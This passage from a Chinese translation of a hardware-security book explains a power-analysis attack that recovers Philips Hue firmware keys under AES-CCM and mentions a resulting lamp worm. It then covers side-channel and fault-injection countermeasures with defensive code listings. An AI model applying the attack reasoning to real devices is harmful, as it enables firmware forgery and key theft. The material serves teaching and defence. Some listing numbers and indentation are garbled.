接下来,AES-CBC 用于加密 PT[m],生成身份验证标签。我们可以将 CBC 的输出块 m(2, 4)写作 CBC[m] = AES(k, PT[m] ⊕ CBC[m–1]),其中块 m = 0 使用 CBC[-1] = IV[mac] 来定义。我们可以替换 PT[m] 来得到 CBC[m] = AES (k, CT[m] ⊕ CTR[m] ⊕ CBC[m–1])。

到目前为止,一切顺利,尽管公式中的所有内容都未知,除了CT。在常规的 AES-ECB 功率分析攻击中,我们假设至少知道明文或密文,从而可以恢复k。任何前述 AES 函数的问题在于,我们不知道输入,也不知道输出。

关键就在于此时。 在 AES 中,AddRoundKey(k, p) 就是 kp,这意味着我们可以将 AddRoundKey(k, pd) 重写为 AddRoundKey(kp, d)。这意味着,如果p是未知且固定的,我们可以将其视为已转换密钥kp的一部分。如果我们控制了d,我们可以进行 CPA 攻击来恢复kp

在我们的 CCM 情况下,我们无法攻击 AddRoundKey(k, CT[m] ⊕ CTR[m] ⊕ CBC[m–1]),但我们可以攻击 AddRoundKey(kCTR[m] ⊕ CBC[m–1], CT[m]),因为我们控制了CT[m]!假设目标发生泄漏,我们可以使用CPA[a](见图 13-4)来找到已转换的密钥kCTR[m] ⊕ CBC[m-1],虽然这本身没有直接用处。这个已转换的密钥让我们能够计算所有中间数据,直到第二次AddRoundKey(k, p′)。第二次AddRoundKey仍然使用k,这是我们不知道的。然而,由于我们知道已转换的轮密钥和CT,我们可以计算出p′。我们现在可以使用一个普通的CPA[b]攻击,利用p′来恢复从 AES 第二轮的k

f13004

图 13-4:两种 CPA 攻击:一种针对转换密钥,另一种针对常规密钥

一旦我们得到了k(在图 13-3 中是 1),我们还有几个步骤要走。请注意,我们仍然没有PT或任何 IV。然而,k允许我们完成图 13-4 中的“修改”AES 计算,从而得到CBC[m]块 2。现在我们可以解密此块,得到CT[m] ⊕ CTR[m] ⊕ CBC[m-1] 3,并且由于我们知道CT[m],我们就知道CTR[m] ⊕ CBC[m-1]。

最后一步,我们可以对后续块m+1使用相同的攻击。这让我们能够找到CBC[m+1] 4 和CT[m+1] ⊕ CTR[m+1]⊕ CBC[m] 5。由于我们已经从之前的攻击中知道了CT[m+1]和CBC[m],我们可以通过 XOR 操作计算出CTR[m+1] 6,这等于AES(k, IV[ctr] || m+1)。因为我们知道k,我们可以解密这个结果来找出IV[ctr] 7,随后我们可以计算出任何mCTR[m] 8,最终使我们能够解密PT[m] = CTR[m] ⊕ CT[m] 9!

我们现在有了固件密钥和明文,因此我们可以轻松地伪造固件。通过利用一种可以让我们将 Hue 从其网络中断开并上传新固件的攻击,我们可以创建一个在城市中传播的蠕虫。文章中,作者计算出,对于像巴黎这样的城市,大约需要 15,000 个 Hue 灯才能使蠕虫控制城市中的所有 Hue 灯。

该攻击结合了可扩展/现实攻击、硬件逆向工程、无线通信、协议滥用、利用固件漏洞、以及对 CCM 的功耗分析攻击。再加上鲜奶油,它就成了完美的甜点。

总结

在本章中,我们描述了如何通过硬件攻击破解 PlayStation 3、Xbox 360 和 Philips Hue 灯具。尤其是在那些软件漏洞较少的系统中,硬件攻击可能是导致系统被攻破的关键步骤。

第十四章:关注儿童:对策、认证和 Goodbytes

我们已经写了很多关于各种攻击的内容,但防御型黑客的最终目标是提高安全性。考虑到这一点,我们将本章专门献给减轻故障攻击和侧信道分析的对策,现有的各种认证,以及如何提升自己。这也是本书的结尾章节,我们认为这为我们的下一个阶段搭建了桥梁,那就是修复你将暴露的问题。

对策与侧信道功率分析领域一样古老,且是一个活跃的研究领域。我们将介绍几种经典的对策,它们是良好的入门步骤,同时也会说明其局限性。当你第一次听到侧信道分析时,一些显而易见的对策会出现在脑海中,但始终重要的是要对其进行评估。例如,给系统添加噪声可能听起来是个不错的对策,但实际上这只会稍微增加攻击的难度。本章中的对策是公开已知的(本书制作过程中没有违反任何保密协议),通常是一些在行业中有一定应用并代表“合理努力”的对策。在高安全性产品中,对策的开发需要大量投资,并且需要硬件设计和软件设计团队之间的协作。然而,即使只进行一些软件上的更改,我们也可以让 SCA 和 FI 攻击变得更难执行。

评估你的对策的有效性至关重要。对于功率分析和故障注入对策,这必须是一个持续的评估过程。例如,如果你编写的是 C 代码,C 编译器可能会简单地优化掉对策。在嵌入式安全领域,一个非常常见的故事是,某个“安全”的产品在设计的某些阶段仅进行了对策的评估。编译器、综合工具或实现破坏了对策的有效性。如果你不及早且频繁地进行测试,最终你会发布那些你认为是受保护的产品,但实际上根本就不安全。

本书中我们教授的工具是进行这种评估的绝佳起点。例如,你甚至可以开始设置一个完全自动化的分析系统,使你的产品在实际使用的工具链下得到持续评估。

对策

理想的对策并不存在,但将多个对策结合起来可以让攻击者的工作变得足够困难,从而让他们放弃。在本节中,我们将提供几种可以应用于软件或硬件的对策构建方法。我们还将讨论对策验证,这实际上是将你在不同章节中学到的技术应用到实际中,看看攻击变得多么困难。接下来的示例经过简化,以演示每个原理;因此,我们“忽略”了一些其他原理的建议。许多这些对策已在 Marc Witteman 等人的白皮书《在旁路攻击存在下的安全应用编程》中进行了详细介绍。

实现对策

在商业产品中实现对策是非常困难的,因此很难第一次就做到“正确”;在这个语境中,“正确”意味着成本、功率、性能、安全性、可调试性、开发复杂性以及你关心的其他因素之间的正确平衡。大多数成功的制造商会在几次产品迭代后达成这些考虑因素的良好平衡。一旦你开始探索安全性与其他方面之间的冲突,至少你知道自己在做正确的事情。你希望已经实现了容易解决的基础对策,并且现在正进入需要做出真正权衡的阶段。这意味着你正在积极进行成本/收益分析,并意识到没有绝对的安全性;这就是生活,这很好。

你确实需要避免一些常见的陷阱。我们通常看到的是,泄漏抽象法则(“所有非平凡的抽象,在某种程度上,都是泄漏的,” 乔尔·斯波尔斯基所说)适用于安全漏洞;旁路攻击和故障显然是它的体现,但它同样适用于对策。电气工程师会提出新的电路,计算机科学家会改进代码,加密专家会提出新的加密算法。问题在于,他们通常在设计对策时使用与设计包含漏洞的对象相同的抽象方式,这导致了对策的无效性。在本章稍后的“无相关/恒定功率消耗”一节中,你将看到一个简单的例子,展示如何一个安全的对策在一种实现(软件)中有效,但在另一种实现(硬件)中失败。

打破抽象层次需要对你堆栈中的每一层有基本的理解、足够好的模拟器和/或对最终产品的彻底测试。换句话说,这是一个困难且反复迭代的过程;你不会第一次就做对,但如果做对了,你会逐渐变得更好。

对策的一个关键见解是,它们通过破坏攻击的假设来起作用。每个攻击都会做出一些假设,这些假设在攻击成功时必须为真。例如,在差分功率分析(DPA)中,假设你的操作是时间对齐的,因此引入错位的对策破坏了这个假设,从而减少了 DPA 的有效性。准备好攻击树并选择破坏这些攻击假设的对策是一种好的策略。

这一推理也适用于相反的方向:对策依赖于对攻击的假设,而攻击者的任务是破坏这些假设。之前提到的通过引入错位来对抗差分功率分析(DPA)的对策,是基于假设攻击者无法识别跟踪中的特征并执行对齐的前提下进行的。这就是猫鼠游戏开始的地方。

在这些猫鼠游戏中,对策被破坏和升级,攻击被阻止和改进。在软件中,主要的游戏计划是打补丁。在硬件中,这种策略是不可行的。在某些情况下,你可以通过软件对策来修补硬件漏洞,这意味着你可以让产品保持安全一段时间。在其他情况下,你将依赖产品出厂时的安全性。理想情况下,产品在出厂时应该具备硬件安全余量,使其能抵抗未来X年后的攻击(尽管由于攻击的非线性特性,确定X是不可行的),就像药品需要有使用安全期一样。实际上,这是不可能的,常见的策略是“尽力而为”,并通过固件更新和配置更改允许打补丁。

这里提出的所有对策都不完美,但它们不需要完美。通过一些额外的努力或更聪明的攻击,攻击者能够绕过这些对策。重点不是创造一个无法攻破的系统,而是设计一个成功攻击的成本低于对策成本,或者攻击的成本高于攻击者的预算的系统。

非相关/常量时间 everywhere

如果某个操作的持续时间取决于某个秘密,那么简单的功率分析(SPA)或定时分析可能能够恢复这个秘密。关联时间的经典示例是使用strcmp()memcmp()来验证密码或 PIN 码。(将明文密码或 PIN 码存储而不是存储其哈希值本身就是不安全的,但我们暂且将其作为一个示例。)这两个 C 函数都有一个提前终止的条件,因为它们在第一个不同的字节后就会返回,这使得攻击者在可以测量时间的情况下,能够得知输入的 PIN 码中哪个字符与存储的 PIN 码不同。有关示例,请参见第八章关于定时攻击的内容,以及本章附带笔记本中的memcmp()示例(可在nostarch.com/hardwarehacking/查看)。

诀窍是实现一个对策,使得操作与秘密之间的时间不再相关,这意味着要使操作的时间保持常量(并可能在此基础上添加定时随机化),如列表 14-7 所示。一种解决方案是实现一个常量时间内存比较,比如本章笔记本中的memcmp_consttime()。我们在列表 14-1 中展示了该函数的核心。

def memcmp_consttime(c1, c2, num):
    # Accumulate differing bits in diff
    diff = 0
    for i in range(num):
        # If bits differ, the xor is nonzero, therefore diff will be nonzero
        diff = diff | (c1[i] ^ c2[i])
    return diff

列表 14-1:一个常量时间的memcmp()函数

我们没有在第一个不同的字节上终止,而是对于两个缓冲区中的每一组字节,计算它们的异或值,如果字节相同则结果为零,否则为非零。然后我们通过将所有异或值按位或(OR)到diff中来累加它们,这意味着一旦某个位不同,该位将在diff中保持不变。从泄漏角度来看,更好的做法是比较值的哈希,而不是直接比较字节,但这样做会更慢。请注意,为了简化,此示例没有包括溢出检查。

基于哈希的消息认证码(HMAC)比较中的定时攻击在加密实现中很常见。如果你有一个使用 HMAC 签名的数据块,目标系统会计算该数据块的 HMAC 并与签名进行比较。如果该比较泄露了定时信息,就像前面的密码示例一样,它允许暴力破解 HMAC 值,而不需要知道 HMAC 密钥。这个攻击被用来绕过 Xbox 360 的代码验证,称为Xbox 360 定时攻击(与第十三章中的 FI 攻击不同)。要修复此问题,可以使用常量时间比较

另一个重要方面是基于敏感值的条件分支的定时。一个简单的示例是列表 14-2 中显示的代码。如果传递的秘密值是0xCA,那么执行leakSecret()的时间比传递其他值时要长得多。

if secret == 0xCA:
    res = takesLong()
else:
    res = muchShorter()

列表 14-2:我们可以通过测量这段代码的执行时间来判断secret是否为0xCA

现在,攻击者只需通过测量过程的持续时间,或者查看 SPA 信号,就可以推测秘密值是否等于0xca。攻击者还可以利用if()语句的时序知识来尝试使其故障。

一种解决方案是使相关代码无分支,如示例 14-3 中的dontLeakSecret()

def dontLeakSecret(secret):
    # Run both sides of the if() condition
    res1 = takesLong()
    res2 = muchShorter()
    # Mask is either all bits 0 or all bits 1, depending on if() condition
    mask = int(secret == 0xCA) - 1 
    res = (res1 & ~mask) | (res2 & mask) # Use mask to select one value return res
    return res

示例 14-3:我们通过始终执行两个操作来避免明显的功率分析。

其思路是执行分支的两个部分并分别存储结果。然后我们计算一个mask,该掩码在二进制中要么全为零,要么全为一,具体取决于if()条件的结果。我们可以使用这个掩码通过逻辑运算合并结果:如果掩码全为零,我们取分支一侧的结果;如果全为一,我们取另一侧的结果。我们也尝试过使用操作来生成和赋值掩码,而不采用条件代码流程,但正如我们稍后提到的,这里有风险,聪明的编译器可能会检测到我们正在做的事情,并将我们的代码替换为条件代码。从示例 14-3(以及所有示例)中可以看到,自己运行代码可能更容易理解,因此请务必查看本章的伴随笔记本,以便更好地理解程序流程。这里有一些明显的限制:takesLong()muchShorter()不应有任何副作用,并且该代码的性能会较差。

最后,时序随机化是指插入与秘密无关的非恒定时间操作。最简单的方式是使用一个循环,随机迭代若干次,其迭代次数需要调节到足以为处理的秘密引入足够的不确定性。如果一个秘密通常会在某个特定的时钟周期泄漏,你希望将其分散到至少几十个或几百个时钟周期中。如果时序随机化结合足够的噪声添加(参见下一节“非相关/恒定功耗”部分),对于攻击者来说,重新对齐是非平凡的。

时序随机化也有助于防止故障注入,因为攻击者现在要么必须幸运地让故障时序与随机化时序巧合,要么需要花费额外的时间来同步目标操作。

由 PLL 驱动而非直接由外部晶体驱动的设备时钟通常不是完全稳定的。因此,一些时序随机化已经“自然”地出现。类似地,中断可以为时序增加不稳定性。这些效应可能为某些使用场景添加足够的随机化。

如果没有实现此类方法,建议在敏感操作之前明确添加时序随机化。时序随机化可能会在旁道信道追踪中轻易看到,因此它会指向敏感操作。噪声的添加可能有助于此,因为它使得对抗技术如对齐和傅里叶变换等丢失时序信息的攻击变得更加困难。如果你可以承受性能损失,你应该在硬件设计或软件代码中遍布添加时序随机化。

无相关/恒定功耗

你可以观察到功耗信号幅度中的泄漏。敏感数据/操作与功耗之间的相关性越小越好,但要实现这一点并不简单。最基本的方法是通过并行运行任何硬件或软件向功耗中加入噪声。这种策略并不能完全去相关信号,但它增加了噪声,因此也增加了攻击成本。在硬件中,生成这种噪声可以通过运行一个随机数生成器、一个特殊的噪声生成器或一个视频解码器来处理虚拟数据。在软件中,你可以在另一个 CPU 核心上运行一个并行线程,执行诱饵或虚拟操作。

在硬件中,设计一个平衡电路是可能的——即,对于每个时钟周期,不管处理的数据是什么,都会发生相同数量的位翻转。这种平衡叫做双轨逻辑,其背后的理念是每个门和线路都有一个反转版本,使得零到一的转换与一到零的转换同时发生。加入这种平衡在芯片面积上非常昂贵,并且需要极其小心和低级别的平衡,以确保每个转换同时发生。然而,不平衡仍然会导致泄漏,尽管比没有这种技术时要少得多。此外,电磁信号也必须考虑进去:两个反向信号可能会相互放大或相互抵消,具体取决于信号的空间布局。

对于加密,我们可以通过添加随机噪声来进一步使用一些巧妙的掩码技巧。理想情况下,在每次加密或解密时,生成一个随机掩码值,并将其与数据混合在一起,作为密码的开始。然后我们修改密码实现,使得中间值始终保持掩码状态,在密码结束时,我们“解掩”结果。从理论上讲,在密码执行过程中,任何中间值都不应无掩码地存在。这意味着差分功耗分析(DPA)应该会失败,因为 DPA 严重依赖于能够预测一个(未掩码的)中间值。因此,掩码应该没有一阶 泄漏,一阶泄漏是指通过仅查看某一时间点的内容来利用的泄漏。

掩码的一个例子是 AES 的旋转 S-box 掩码(见 Maxime Nassar、Youssef Souissi、Sylvain Guilley 和 Jean-Luc Danger 撰写的“RSM:一种小巧且快速的 AES 防护措施,能够防范 1 阶和 2 阶零偏旁路攻击”)。在旋转 S-box 掩码(RSM)中,我们修改每个 16 个 S-box,使它们接受一个掩码值 M[i],并生成一个用 M[(][i+1][)] [mod] [16] 掩码的输出值,其中 M[i] 是一个随机选择的 8 位值,0 ≤ i < 16。掩码仅通过 XOR 完成。S-box 表只在执行密码算法之前计算一次。在密码调用时,我们将初始掩码与密钥进行 XOR 操作,进而在 AddRoundKey 中 XOR 掩码数据。XOR 掩码会在 SubBytesShiftRows 操作中由修改后的 S-box 保持。MixColumns 操作按原样执行,但之后通过 XOR 操作“修正”,使得状态向量有效地重新掩码。最终,经过第一轮后得到一个掩码的 AES 状态向量,并且在整个计算过程中都保持掩码的中间值。这些步骤会为所有轮次重复执行,最后通过一次 XOR 操作将数据解除掩码。

掩码的一个问题通常是“完美”的模型在现实中并不总是适用。就像 RSM 的情况一样,掩码会被重复使用,因此“完美”被换取了性能的提升。Guilherme Perin、Baris Ege 和 Jasper van Woudenberg 撰写的论文“降低门槛:用于旁路分析的深度学习”表明,对于某些 RSM 实现,依然存在一阶泄漏。

即使掩码是“完美的”,也存在所谓的二阶攻击,其原理是我们观察两个中间值,XY。例如,X 可能是 AddRoundKey 后的一个字节,Y 可能是 SubBytes 后的一个字节。如果它们在执行过程中都使用相同的掩码 M,也就是 XMYM,我们可以执行以下操作。我们测量 XMYM 的旁路信号。假设我们知道信号 XMYM 泄漏的时间点 xy,这意味着我们可以获取它们对应的采样值 t[x] 和 t[y]。我们可以结合这两个测量点(例如,通过计算它们的绝对差值 |t[x] − t[y]|)。我们还知道 (XM) ⊕ (YM) = XY。事实证明,|t[x] − t[y]| 和 XY 之间实际上存在相关性,基于这种相关性,我们可以执行 DPA。这就是所谓的二阶攻击,因为我们将跟踪中的两个点结合起来,但这个思路可以扩展到任何更高阶攻击:一阶掩码对一个值应用一个掩码(也就是 XM),并且可以通过二阶 DPA 攻击。二阶掩码对一个值应用两个掩码(也就是 XM[1] ⊕ M[2]),并且可以通过三阶 DPA 攻击,以此类推。一般来说,n阶掩码可以通过 (n + 1)阶 DPA 攻击。

第二阶攻击的问题在于找到 xy 这两个时间点,其中 XMYM 的信号存在泄漏。在正常的 DPA 中,我们只是对踪迹中某一时间点的所有样本进行相关分析来找到泄漏。如果我们不知道时间 xy,就必须通过暴力方法将踪迹中的所有可能样本组合起来,进行 DPA 分析。这是一个二次复杂度问题,复杂度与踪迹中的样本数有关。同时,相关性并不完美,因此适当的遮掩技术迫使攻击者进行更多的测量和计算。换句话说,尽管遮掩技术实现起来昂贵且容易出错,但它也给攻击者带来了很大的负担。

遮掩(Blinding) 类似于遮掩技术,只不过这些技术的起源是在(非侧信道)密码学中。RSA 和 ECC 有各种各样的遮掩技术,它们依赖于数学原理。一个例子是 RSA 消息遮掩。对于密文 C、消息 M、模数 N、公钥指数 e 和私钥指数 d 以及随机遮掩 1 < r < N,我们首先计算被遮掩的消息 R = M × r^(e) mod N。接下来,我们对被遮掩的消息进行 RSA 签名,R^(d) = (M × r(*e*))(d) = M^(d) × r^(ed) = C × r,然后通过计算 (C × r) × r^(–1) = C 来去除遮掩。这样得到的值与不进行遮掩的经典 RSA 相同,后者直接计算 M^(d) = C。然而,由于 RR^(d) 中对攻击者是不可预测的,因此需要消息 M 提升到 d 的时序攻击会失败。这就是所谓的 消息遮掩(message blinding)

由于 RSA 每次只使用一个或几个指数位 d,因此指数也容易受到时序攻击或其他侧信道攻击的影响。为了减轻指数值的侧信道泄漏,需要进行指数遮掩(exponent blinding),这确保了每次 RSA 计算中使用的指数都是不同的,通过生成一个随机数 1 ≤ r < 2⁶⁴,并生成一个新的指数 d′ = d + ϕ(N) × r,其中 ϕ(N) = (p – 1) × (q – 1) 是群的阶。新的指数通过模约简“自动”去除遮掩(即,M^(d) = M^(d′) mod N),但从侧信道攻击者的角度来看是不可预测的。被遮掩的指数 d′ 可以是每次加密调用时的随机值,因此攻击者无法通过获取更多的踪迹来逐渐了解 d 或单一的 d′。这增加了攻击者的难度。攻击者无法通过获取更多的踪迹获得更多的信息,而是必须破解单一的踪迹。然而,如果实现非常泄漏,SPA 攻击可能会有效:从单个踪迹完全提取 d′ 相当于找到了未遮掩的私钥 d

还有许多其他的模糊和掩码技术,以及时间常数随机化指数运算算法(用于 RSA)和标量乘法算法(用于 ECC):模数掩蔽蒙哥马利阶梯随机加法链随机投影坐标高阶掩蔽。这是一个活跃的研究领域,我们建议研究最新的攻击和防御措施。

在使用这些对策时,要注意其潜在的假设。前面部分提到的掩蔽示例假设了哈明重量泄露。但如果我们在硬件中实现这个方法,而一个寄存器泄露了连续值之间的哈明距离呢?那么掩蔽可能就会被消除。当寄存器连续包含两个掩蔽值,XMYM 时,就会泄露 HD(XM, YM)。如果我们将其重新写成如下形式,就能看出这个问题:HD(XM, YM) = HW(XMYM) = HW(XY) = HD(X, Y)。实际上,硬件已经为你解除了掩蔽,并泄露了相同的哈明距离。因此,从算法层面来看,这个对策似乎是有效的,但在实现时可能会带来反效果。

随机化访问机密数组值

这个对策很简单。如果你正在遍历存储在数组中的某个机密信息,可以采用随机顺序,或者至少选择一个随机起始点,然后按顺序遍历数组。此方法可以防止具有侧信道攻击可能性的攻击者从数组中学习特定条目。此方法有用的例子包括验证 HMAC(或明文密码)或从内存中清除/擦除密钥,因为你不希望在一个可预测的时间点不小心泄露这些信息。有关例子,可以查看伴随笔记本中的memcmp_randorder()函数,该函数从两个数组中的任意位置开始,不根据缓冲区数据进行分支。或者,你可以参考 Listing 14-4。

执行诱饵操作或感染计算

诱饵操作旨在模拟实际的敏感操作(从旁路角度来看),但它们对操作的输出没有实际影响。它们会欺骗攻击者分析旁路跟踪中的错误部分,并且可以用作解耦时间的手段。一个例子是 RSA 中模幂运算的平方乘法始终对策。在教科书 RSA 中,对于每个位的指数,如果指数位为 0,就执行平方操作,如果指数位为 1,就执行乘法加平方操作。对于 0 和 1 位的操作差异,会造成非常明显的(SPA)旁路泄漏。为了平衡这一差异,你可以执行诱饵乘法,并在指数位为 0 时丢弃结果。这样,平方和乘法的次数就能保持平衡。另一个例子是在 AES 中增加额外的轮次并丢弃它们的结果。

为了继续使用笔记本中的内存比较示例,我们在memcmp_decoys()中添加了一些随机诱饵轮次。它的工作原理是随机执行诱饵 XOR 操作,并确保结果不被累积。这也用于 Listing 14-4。

感染性计算更进一步:它使用诱饵操作作为“感染”输出的一种方式。如果诱饵操作发生错误,它会破坏输出。这在加密操作中尤为有用;可以参考 Benedikt Gierlichs、Jörn-Marc Schmidt 和 Michael Tunstall 的《Infective Computation and Dummy Rounds: Fault Protection for Block Ciphers Without Check Before-Output》。

诱饵操作的另一个良好应用是检测故障(检测并响应故障)。如果诱饵操作有已知的输出,你可以验证该输出是否正确;如果不正确,则说明一定发生了故障。

旁路抵抗加密库、原语和协议

说“使用经过验证的加密库”与加密 101 规则“不要自己实现加密”类似。这里的警告是,大多数开源加密库并不提供任何功率分析旁路抵抗或故障抵抗的保障。常见的库(如 OpenSSL 和 NaCl)和原语(如 Ed25519)确实能防范时间旁路攻击,主要是因为时间攻击可以被远程利用。如果你在微控制器或安全元素上构建,芯片自带的加密核心和/或库可能声称具有某些抵抗能力。查看数据手册中的对策旁路故障等词,或检查任何认证。更好的做法是,测试芯片!

如果你被迫使用一个不具备抗电源侧信道攻击能力的加密库或原语,你或许可以使用抗泄漏协议。这些协议基本上确保密钥只被使用一次或少数几次,从而使得差分功率分析(DPA)变得更加困难。例如,你可以对密钥进行哈希处理,以便为下一条消息创建一个新的密钥。这类操作例如在 NXP 实现的 AES 模式中使用,该模式在 LPC55S69 中被称为索引代码块模式。

最后,你可以封装库以执行一些针对故障的安全检查。例如,在使用 ECC 或 RSA 签名后,你可以验证签名,检查它是否通过。如果没有,肯定发生了某些故障。同样,你可以在加密后解密,检查是否重新获得了明文。执行这些检查会迫使攻击者进入双重故障:一个针对算法,另一个绕过故障检查。

尽量避免处理密钥,除非必要

假设你是超人,密钥就是氪石;请小心处理它们,只在绝对必要时使用。不要复制(或进行完整性检查)它们,且在应用中应通过引用传递密钥,而不是通过值传递。当使用加密引擎时,避免不必要地加载密钥到引擎中,以避免密钥加载攻击。这种做法显然减少了侧信道泄漏的可能性,也减少了对密钥的故障攻击。差分故障分析是一种复杂的加密故障攻击,但加密还面临更多的故障攻击。

假设一个攻击者只需将密钥的一部分(例如,在密钥复制操作中)归零。这样做可以破坏挑战响应协议。挑战响应协议基本上由一方用来确认另一方是否知道某个密钥:爱丽丝向鲍勃发送一个随机数c(挑战),鲍勃用共享密钥k加密c并发送响应r。爱丽丝进行相同的加密,并验证鲍勃是否发送了正确的r。现在爱丽丝知道鲍勃知道密钥k

这一切都好,问题是现在故障精灵可以物理访问到爱丽丝的加密设备。爱丽丝用于验证的密钥现在因为故障被破坏,变成了全零。因为故障精灵知道这一点,她可以通过用零密钥加密r来伪装鲍勃。或者,如果故障精灵能够访问鲍勃的加密设备,并能部分将密钥归零(例如,除了一个字节外的所有字节),她可以使用一对cr暴力破解那个非零的密钥字节。通过迭代其他密钥字节,可以暴露整个密钥。如果设备频繁重新加载密钥,故障精灵将有多次机会将密钥的不同部分归零。

使用非平凡的常量

在现代 CPU 上,软件中的布尔值被存储为 32 位或 64 位。你可以利用这些额外的位来构建故障缓解和检测机制。在第七章,你通过 Trezor One 故障的演示看到,简单的比较操作可能被跳过。同样,假设你使用以下代码来验证签名操作:

if verify_signature(new_code_array):
    erase_and_flash(new_code_array)

verify_signature()的唯一返回值是0,它不会导致相关代码被闪存写入。其他所有可能的返回值都会被代码评估为“真”!这是使用平凡常数的一个例子,导致代码非常容易被故障注入。

一个典型的故障模型是,攻击者可以将一个字设置为零,或者“0xffffffff”,在这个模型中,攻击者不太可能设置一个特定的 32 位值。因此,我们可以用非平凡常数来代替布尔值的零和一,这些常数有较大的哈明距离(例如0xA5C3B4D20x5A3C4B2D)。要从一个常数转换到另一个常数,通常需要大量的比特翻转(通过故障)。同时,我们可以将0x00xffffffff定义为无效值,以捕捉故障。

这个思路可以扩展到枚举中的状态,类似地也可以在硬件状态机中实现。请注意,将这个构造应用于枚举中的状态通常很简单,但对于布尔值来说,当使用标准函数时,可能很难始终如一地实现。

在笔记本中的示例memcmp_nontrivial()中,我们使用非平凡值扩展了我们的内存比较函数,以处理重要的状态。这个版本也展示在 Listing 14-4 中,包括了诱饵函数,从随机索引开始,并具有常数时间特性。

def memcmp_nontrivial(c1, c2, num):
    # Prep decoy values, initialize to 0
    decoy1 = bytes(len(c1))
    decoy2 = bytes(len(c2))

    # Init diff accumulator and random starting point
    diff = 0
    rnd = random.randint(0, num-1)

    i = 0 
 while i < num:
        # Get index, wrap around if needed
        idx = (i + rnd) % num

        # Flip coin to check we have a decoy round
        do_decoy = random.random() < DECOY_PROBABILITY
        if do_decoy:
            decoy = (CONST1 | decoy1[idx]) ^ (CONST2 | decoy2[idx]) # Do similar operation
            tmpdiff = CONST1 | CONST2 # Set tmpdiff so we still have nontrivial consts
        else: 
            tmpdiff = (CONST1 | c1[idx]) ^ (CONST2 | c2[idx]) # Real operation, put in tmpdiff
            decoy = CONST1 | CONST2 # Just to mimic other branch 

        # Accumulate diff 
        diff = diff | tmpdiff 

        # Adjust index if not a decoy 
        i = i + int(not do_decoy) 

return diff

Listing 14-4: 一个复杂的memcmp函数,包含诱饵函数和非平凡常数

诀窍在于将difftmpdiff的值编码成,它们永远不会是全 1 或全 0。为此,我们使用两个特殊的值:CONST_1== 0xC0A0B000CONST_2==0x03050400。它们被设计成较低的字节被设置为 0。这个较低的字节将用于存储内存中两个字节的异或结果,我们将这个值累积到diff变量中。此外,我们还将diff的高 24 位作为一个非平凡常数。正如代码所示,我们还将CONST_1CONST_2的值累积到diff中。这样做的方式是,在正常情况下,diff的高 24 位将有一个固定且已知的值——即与CONST_1CONST_2的高 24 位相同。如果数据故障导致tmpdiff的高 24 位发生比特翻转,就可以检测到;你将在“检测并响应故障”部分看到如何处理这种情况。

不同内存比较函数的示例展示了编写能够减轻故障的代码有多么困难。当你使用优化(JIT)编译器时,更难写出代码,确保这些对策不会被编译掉。显而易见的解决方案是使用汇编语言(虽然这有在汇编中编写代码的缺点),或者开发一个能够注入此类对策的编译器。关于这个主题已经有一些学术出版物,但问题似乎在于接受度——无论是出于性能原因,还是担心可能引入会影响已充分测试的编译器行为的问题。

在硬件中,错误更正码(ECC)可以视为用来减轻故障的“非平凡常量”。它们通常具有有限的错误更正和检测能力,对于能够翻转多个位的攻击者(例如,整个字),这可能使得故障的有效性减少不到一个数量级。还需要注意的是,举例来说,一个全零的字(包括 ECC 位)并不是一个正确的编码。

状态变量重用

使用非平凡常量是一个不错的选择,但请考虑在配套笔记本中 check_fw() 函数的代码流,该函数在 Listing 14-5 中也有展示。它设置了 rv = validate_address(a),返回一个非平凡常量。如果常量是 SECURE_OK,它将执行 rv = validate_signature(a)

SECURE_OK = 0xc001bead
def check_fw(a, s, fault_skip):
  1 rv = validate_address(a) 
    if rv == SECURE_OK: 
      2 rv = validate_signature(s) 

        if rv == SECURE_OK: 
            print("Firmware ok. Flashing!")

Listing 14-5:使用非平凡常量并不是所有问题的立竿见影的解决办法。

攻击者在这里可以轻松地做一些事情;他们可以使用故障注入(FI)跳过第 2 步对 validate_signature() 的调用。变量 rv 已经在之前对 validate_address() 的调用(第 1 步)中设置了 SECURE_OK 值。因此,我们应该在使用后清除该值。在支持宏的语言中,我们可以通过一个宏轻松地包装这些调用。或者,我们可以使用一个不同的变量(例如,通过为第二次调用引入 rv2)或验证控制流(见下节)。请注意,所有这些方法都容易受到编译器优化的影响(请参阅本章后面的“与编译器作斗争”部分)。

验证控制流

故障注入可以改变控制流,因此任何关键的控制流应当进行验证,以降低故障成功的概率。一个简单的例子是在 C 语言中的 switch 语句中的“默认失败”语句;case 语句应该列出所有有效的情况,因此默认情况应该永远不会被触及。如果默认情况被触及,我们就知道发生了故障。类似地,你可以对 if 语句做同样的处理,其中最终的 else 是一种失败模式。在笔记本中的 default_fail() 函数中,你可以看到一个例子。

在实现任何 条件分支(包括使用那些“非平凡常数”的分支)时,也要意识到编译器如何实现你的条件分支,可能会极大地影响攻击者绕过某个代码检查的能力。高级的 if 语句可能会被实现为“相等分支”或“不相等分支”类型的指令。像第四章中一样,我们将回到汇编代码中,看看它是如何实现的。典型的 ifelse 语句生成的汇编代码见 列表 14-6。

 1 bl      signature_ok(IMG_PTR)
        mov     r3, r0
        cmp     r3, #0
        movne   r3, #1
        moveq   r3, #0
        and     r3, r3, #255
        cmp     r3, #0
      2 beq     .L2
        ldr     r0, [fp, #-8]
      3 bl      boot_image(IMG_PTR)
        b       .L3
.L2:
      4 bl      panic()
.L3:
        nop

列表 14-6:展示 if 语句的 ARM 汇编代码,编译器实现方式

这个 if 语句的设计是用来检查是否应该启动一个图像(通过 IMG_PTR 指针指向)。在 1 处调用了 signature_ok() 函数,该函数会在 r0 寄存器中返回一个特殊的值,指示签名是否允许该图像启动。这个比较最终会通过 2 处的相等分支(beq)进行判断,如果分支跳转到 .L2,则会在 4 处调用 panic() 函数。问题在于,如果攻击者跳过了 2 处的 beq,它将直接跳转到 3 处的 boot_image() 函数。将比较的顺序调整为跳过 2 处的 beq 会直接跳转到 panic() 函数,在这个例子中是一个更好的做法。你可能需要和你的编译器配合,以实现这个效果(可以查看 gcc 和 clang 编译器中的 __builtin_expect),这也提醒我们为什么调查实际的汇编输出是非常重要的。有关帮助你自动化这些测试的工具,请参见本章后面的“仿真与模拟”部分。

对敏感决策进行双重或多重检查也是验证控制流的一种手段。具体而言,你实现多个逻辑上等价但包含不同操作的 if 语句。在笔记本中的 double_check() 示例中,内存比较操作执行了两次,并用略微不同的逻辑进行检查。如果第二次比较的结果与第一次不一致,我们就发现了故障。

